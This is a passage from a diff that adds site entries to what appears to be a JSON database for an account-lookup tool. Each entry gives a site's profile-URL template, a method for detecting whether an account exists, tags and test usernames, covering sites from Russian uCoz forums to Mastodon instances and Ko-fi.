"usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "igrarena": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 2979975, + "urlMain": "https://forum.igrarena.ru", + "url": "https://forum.igrarena.ru/members/?username={username}", + "usernameClaimed": "forester", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "igromania": { + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 21104, + "urlMain": "http://forum.igromania.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "imgsrc.ru": { + "tags": [ + "be", + "de", + "es", + "in", + "pt", + "ru", + "us" + ], + "checkType": "response_url", + "alexaRank": 26075, + "urlMain": "https://imgsrc.ru/", + "url": "https://imgsrc.ru/main/user.php?user={username}", + "errorUrl": "https://imgsrc.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "induste.com": { + "tags": [ + "forum", + "ma", + "re" + ], + "engine": "XenForo", + "alexaRank": 390003, + "urlMain": "https://induste.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "infopps.moy.su": { + "engine": "uCoz", + "urlMain": "http://infopps.moy.su", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "interpals": { + "tags": [ + "dating" + ], + "checkType": "message", + "absenceStrs": [ + "The requested user does not exist or is inactive" + ], + "alexaRank": 14174, + "urlMain": "https://www.interpals.net/", + "url": "https://www.interpals.net/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noneownsthisusername" + }, + "iXBT": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0440\u043e\u0441\u0442\u0438\u0442\u0435, \u043d\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a" + ], + "alexaRank": 5024, + "urlMain": "https://forum.ixbt.com", + "url": "https://forum.ixbt.com/users.cgi?id=info:{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "izmailonline.com": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 1097031, + "urlMain": "http://izmailonline.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "izobil.ru": { + "engine": "uCoz", + "urlMain": "http://izobil.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "jeuxvideo": { + "tags": [ + "fr", + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "Messages Forums" + ], + "absenceStrs": [ + "Vous \u00eates" + ], + "alexaRank": 2436, + "urlMain": "http://www.jeuxvideo.com", + "url": "http://www.jeuxvideo.com/profil/{username}?mode=infos", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "jog.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://jog.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5070099 + }, + "juce": { + "tags": [ + "ca", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 356973, + "urlMain": "https://forum.juce.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kali.org.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2028167, + "urlMain": "https://kali.org.ru", + "url": "https://kali.org.ru/profile/{username}", + "usernameClaimed": "Drozd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kiabongo.info": { + "engine": "uCoz", + "alexaRank": 6066870, + "urlMain": "http://kiabongo.info", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kofi": { + "tags": [ + "freelance", + "in", + "ru", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Make income from your art!", + "https://storage.ko-fi.com/cdn/og.png" + ], + "alexaRank": 5421, + "urlMain": "https://ko-fi.com", + "url": "https://ko-fi.com/{username}", + "usernameClaimed": "yeahkenny", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "komsomolskiy.at.ua": { + "engine": "uCoz", + "urlMain": "http://komsomolskiy.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kursk46.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kursk46.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kursknet": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "urlMain": "https://forum.kursknet.ru", + "usernameClaimed": "Naffy", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11566418 + }, + "kwork": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 7462, + "urlMain": "https://www.kwork.ru/", + "url": "https://kwork.ru/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "l2-best.clan.su": { + "engine": "uCoz", + "urlMain": "http://l2-best.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "labpentestit": { + "tags": [ + "hacking", + "ru" + ], + "checkType": "response_url", + "alexaRank": 1309593, + "urlMain": "https://lab.pentestit.ru/", + "url": "https://lab.pentestit.ru/profile/{username}", + "errorUrl": "https://lab.pentestit.ru/{username}", + "usernameClaimed": "CSV", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "last.fm": { + "tags": [ + "music" + ], + "checkType": "status_code", + "alexaRank": 2183, + "urlMain": "https://last.fm/", + "url": "https://last.fm/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "leasehackr": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 37029, + "urlMain": "https://forum.leasehackr.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "linuxfoundation": { + "tags": [ + "forum", + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 26899, + "urlMain": "https://forum.linuxfoundation.org", + "url": "https://forum.linuxfoundation.org/profile/{username}", + "usernameClaimed": "chap92", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "linuxmint.info": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 6054365, + "urlMain": "http://linuxmint.info", + "url": "http://linuxmint.info/users/{username}", + "usernameClaimed": "freesoid", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "lithotherapy": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2754382, + "urlMain": "https://forum.lithotherapy.ru", + "url": "https://forum.lithotherapy.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "solomon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "losinopetrovsk.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://losinopetrovsk.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "markweinguitarlessons.com": { + "engine": "XenForo", + "alexaRank": 2301424, + "urlMain": "http://markweinguitarlessons.com/forums/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "hobby" + ] + }, + "mastodon.cloud": { + "disabled": true, + "tags": [ + "in", + "pk" + ], + "checkType": "status_code", + "alexaRank": 377057, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://mastodon.cloud/", + "url": "https://mastodon.cloud/@{username}", + "usernameClaimed": "TheAdmin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mastodon.social": { + "checkType": "status_code", + "alexaRank": 2073381, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://chaos.social/", + "url": "https://mastodon.social/@{username}", + "usernameClaimed": "Gargron", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ] + }, + "mastodon.technology": { + "tags": [ + "th" + ], + "checkType": "status_code", + "alexaRank": 1182037, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://mastodon.xyz/", + "url": "https://mastodon.technology/@{username}", + "usernameClaimed": "ashfurrow", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "mastodon.xyz": { + "tags": [ + "th" + ], + "checkType": "status_code", + "alexaRank": 1182037, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://mastodon.xyz/", + "url": "https://mastodon.xyz/@{username}", + "usernameClaimed": "TheKinrar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mau": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1139439, + "urlMain": "https://forum.mau.ru", + "url": "https://forum.mau.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "curl", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "md": { + "tags": [ + "forum", + "md", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "404 - Not Found" + ], + "alexaRank": 2275804, + "urlMain": "https://forum.md/ru/", + "url": "https://forum.md/ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "medteh.info": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1290738, + "urlMain": "http://medteh.info", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mercadolivre": { + "tags": [ + "br" + ], + "checkType": "status_code", + "alexaRank": 361, + "urlMain": "https://www.mercadolivre.com.br", + "url": "https://www.mercadolivre.com.br/perfil/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "metacritic": { + "disabled": true, + "tags": [ + "us" + ], + "regexCheck": "^(?![-_])[A-Za-z0-9-_]{3,15}$", + "checkType": "message", + "absenceStrs": [ + "This user hasn\u2019t rated anything yet" + ], + "presenseStrs": [ + "Avg. User score" + ], + "alexaRank": 2409, + "urlMain": "https://www.metacritic.com/", + "url": "https://www.metacritic.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould" + }, + "mfd": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 61607, + "urlMain": "http://forum.mfd.ru", + "url": "http://forum.mfd.ru/forum/search/?query=&method=And&userQuery={username}", + "usernameClaimed": "rublevka", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "michigan-sportsman.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 475252, + "urlMain": "http://www.michigan-sportsman.com/forum/", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "microcap.forum24.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 7087371, + "urlMain": "https://microcap.forum24.ru", + "url": "https://microcap.forum24.ru/?32-{username}", + "usernameClaimed": "asuus", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "millerovo161.ru": { + "engine": "uCoz", + "alexaRank": 7369958, + "urlMain": "http://millerovo161.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "milliarderr.com": { + "engine": "uCoz", + "urlMain": "http://milliarderr.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7486145 + }, + "mirf": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 61648, + "urlMain": "https://forum.mirf.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mirmuzyki.ucoz.net": { + "engine": "uCoz", + "alexaRank": 7782396, + "urlMain": "http://mirmuzyki.ucoz.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mistral.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://mistral.ucoz.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mkr-rodniki.ru": { + "engine": "uCoz", + "urlMain": "http://mkr-rodniki.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12833632 + }, + "modnaya": { + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 589263, + "urlMain": "https://forum.modnaya.org/", + "url": "https://forum.modnaya.org/members/{username}.html", + "usernameClaimed": "werta", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "morshansk.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://morshansk.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7727043 + }, + "moscherb.ru": { + "engine": "uCoz", + "alexaRank": 5638034, + "urlMain": "http://moscherb.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "moskovia.moy.su": { + "engine": "uCoz", + "urlMain": "http://moskovia.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "moto-travels.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1863517, + "urlMain": "http://moto-travels.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "motoomsk.ru": { + "engine": "uCoz", + "urlMain": "http://motoomsk.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 13211617 + }, + "motorhomefun.co.uk": { + "disabled": true, + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 834914, + "urlMain": "http://www.motorhomefun.co.uk/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mssg.me": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 90236, + "urlMain": "https://mssg.me", + "url": "https://mssg.me/{username}", + "usernameClaimed": "siamparagon", + "usernameUnclaimed": "asadasdsd" + }, + "mstdn.io": { + "checkType": "status_code", + "alexaRank": 1755522, + "urlMain": "https://mstdn.io/", + "url": "https://mstdn.io/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mt5": { + "disabled": true, + "tags": [ + "forum", + "in", + "pk", + "us" + ], + "engine": "vBulletin", + "alexaRank": 44211, + "urlMain": "https://forum.mt5.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "my-citrus.at.ua": { + "engine": "uCoz", + "urlMain": "http://my-citrus.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "naruto-base.tv": { + "engine": "uCoz", + "urlMain": "http://naruto-base.tv", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "narutoclan.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://narutoclan.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "medicine" + ], + "alexaRank": 7147964 + }, + "navi": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 129479, + "urlMain": "http://forum.navi.gg/", + "url": "http://forum.navi.gg/profile/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "netbiz.at.ua": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://netbiz.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12174626 + }, + "news.toretsk.online": { + "engine": "uCoz", + "urlMain": "http://news.toretsk.online", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ], + "alexaRank": 7164519 + }, + "nf-club.ru": { + "engine": "uCoz", + "alexaRank": 6042902, + "urlMain": "http://nf-club.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "nhattao.com": { + "tags": [ + "forum", + "shopping", + "vn" + ], + "engine": "XenForo", + "alexaRank": 41011, + "urlMain": "https://www.nhattao.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "night.kharkov.ua": { + "engine": "uCoz", + "urlMain": "http://night.kharkov.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5634451 + }, + "nightbot": { + "tags": [ + "jp", + "us" + ], + "urlProbe": "https://api.nightbot.tv/1/channels/t/{username}", + "checkType": "status_code", + "alexaRank": 14181, + "urlMain": "https://nightbot.tv/", + "url": "https://nightbot.tv/t/{username}/commands", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "nikoncafe.com": { + "engine": "XenForo", + "alexaRank": 824284, + "urlMain": "https://www.nikoncafe.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "photo" + ] + }, + "nikos.at.ua": { + "engine": "uCoz", + "urlMain": "http://nikos.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ua" + ] + }, + "not606.com": { + "engine": "XenForo", + "alexaRank": 3046188, + "urlMain": "http://www.not606.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "sport" + ] + }, + "notabug.org": { + "tags": [ + "in", + "ma", + "ro", + "us" + ], + "urlProbe": "https://notabug.org/{username}/followers", + "checkType": "status_code", + "alexaRank": 339415, + "urlMain": "https://notabug.org/", + "url": "https://notabug.org/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "note": { + "tags": [ + "jp" + ], + "checkType": "status_code", + "alexaRank": 885, + "urlMain": "https://note.com/", + "url": "https://note.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "nsk66.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://nsk66.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4212350 + }, + "nucastle.co.uk": { + "engine": "XenForo", + "urlMain": "http://www.nucastle.co.uk/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "oakleyforum.com": { + "engine": "XenForo", + "alexaRank": 434544, + "urlMain": "https://www.oakleyforum.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "odonvv.ru": { + "engine": "uCoz", + "alexaRank": 8230602, + "urlMain": "http://odonvv.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "officiating": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Euer Online Casino Forum Deutschland - PlaytimeNetwork" + ], + "urlMain": "https://forum.playtime-forum.info", + "url": "https://forum.playtime-forum.info/members/?username={username}", + "usernameClaimed": "Glumbi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "podolsk": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 396940, + "urlMain": "https://forum.podolsk.ru", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "polarsteps": { + "tags": [ + "in", + "us" + ], + "urlProbe": "https://api.polarsteps.com/users/byusername/{username}", + "checkType": "status_code", + "alexaRank": 311149, + "urlMain": "https://polarsteps.com/", + "url": "https://polarsteps.com/{username}", + "usernameClaimed": "james", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "popjustice": { + "tags": [ + "co", + "forum", + "in", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 225190, + "urlMain": "https://forum.popjustice.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pr0gramm": { + "tags": [ + "de" + ], + "checkType": "status_code", + "urlMain": "https://pr0gramm.com/", + "url": "https://pr0gramm.com/api/profile/info?name={username}", + "usernameClaimed": "cha0s", + "usernameUnclaimed": "noonewouldeverusethis123123123123123123", + "alexaRank": 5355 + }, + "privateinvestor2000.com": { + "engine": "uCoz", + "urlMain": "http://privateinvestor2000.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "prizyvnikmoy.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 3195890, + "urlMain": "http://prizyvnikmoy.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pro-cssteam.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pro-cssteam.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "prog.hu": { + "tags": [ + "hu" + ], + "checkType": "response_url", + "alexaRank": 201253, + "urlMain": "https://prog.hu", + "url": "https://prog.hu/azonosito/info/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "prosportsdaily": { + "disabled": true, + "tags": [ + "forum", + "in", + "us" + ], + "engine": "vBulletin", + "alexaRank": 30882, + "urlMain": "https://forums.prosportsdaily.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "punx.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://punx.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pv-afghan.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pv-afghan.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3932899 + }, + "pvpru": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "errors": { + "Access denied": "Cloudflare security protection detected" + }, + "checkType": "status_code", + "alexaRank": 474448, + "urlMain": "https://pvpru.com/", + "url": "https://pvpru.com/board/member.php?username={username}&tab=aboutme#aboutme", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "python.su": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 580826, + "urlMain": "https://python.su/", + "url": "https://python.su/forum/user/{username}", + "usernameClaimed": "AlexaPan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "qiwi.me": { + "disabled": true, + "tags": [ + "finance", + "ru" + ], + "urlProbe": "https://api.qiwi.me/piggybox/{username}", + "checkType": "message", + "absenceStrs": [ + "no piggybox found", + "invalid alias" + ], + "urlMain": "https://qiwi.me", + "url": "https://qiwi.me/{username}", + "usernameClaimed": "videokursy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "qna.center": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 153017, + "urlMain": "https://qna.center", + "url": "https://qna.center/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "quik": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 363951, + "urlMain": "https://forum.quik.ru", + "url": "https://forum.quik.ru/user/{username}/", + "usernameClaimed": "swerg", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "radio_echo_msk": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 1460, + "urlMain": "https://echo.msk.ru/", + "url": "https://echo.msk.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "radioskot": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 163733, + "urlMain": "https://radioskot.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "railforums.co.uk": { + "tags": [ + "forum", + "jp" + ], + "engine": "XenForo", + "alexaRank": 39031, + "urlMain": "https://www.railforums.co.uk", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "reality-check.ca": { + "disabled": true, + "engine": "XenForo", + "alexaRank": 2973813, + "urlMain": "https://www.reality-check.ca", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ca", + "forum", + "medicine" + ] + }, + "realitygaming.fr": { + "engine": "XenForo", + "urlMain": "http://realitygaming.fr/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 7867305 + }, + "relasko.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 58356, + "urlMain": "http://relasko.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "reverse4you": { + "tags": [ + "forum", + "lk", + "ru", + "ua" + ], + "disabled": true, + "engine": "Discourse", + "alexaRank": 718392, + "urlMain": "https://forum.reverse4you.org", + "usernameClaimed": "darwin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "rezzoclub.ru": { + "engine": "uCoz", + "urlMain": "http://rezzoclub.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7286304 + }, + "ridemonkey.com": { + "engine": "XenForo", + "urlMain": "http://www.ridemonkey.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "ruboard": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 164556, + "urlMain": "https://forum.ruboard.ru", + "url": "https://forum.ruboard.ru/member.php/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "rus-mmm.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rus-mmm.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "russiinitalia.com": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 6440689, + "urlMain": "http://russiinitalia.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "rybnoe.net": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 1139706, + "urlMain": "http://rybnoe.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "salavat.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://salavat.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "salekhardnews.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://salekhardnews.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "samp-rus.com": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 3612318, + "urlMain": "http://samp-rus.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "samp-sektor.ru": { + "engine": "uCoz", + "alexaRank": 2318355, + "urlMain": "http://samp-sektor.ru", + "usernameClaimed": "god", + 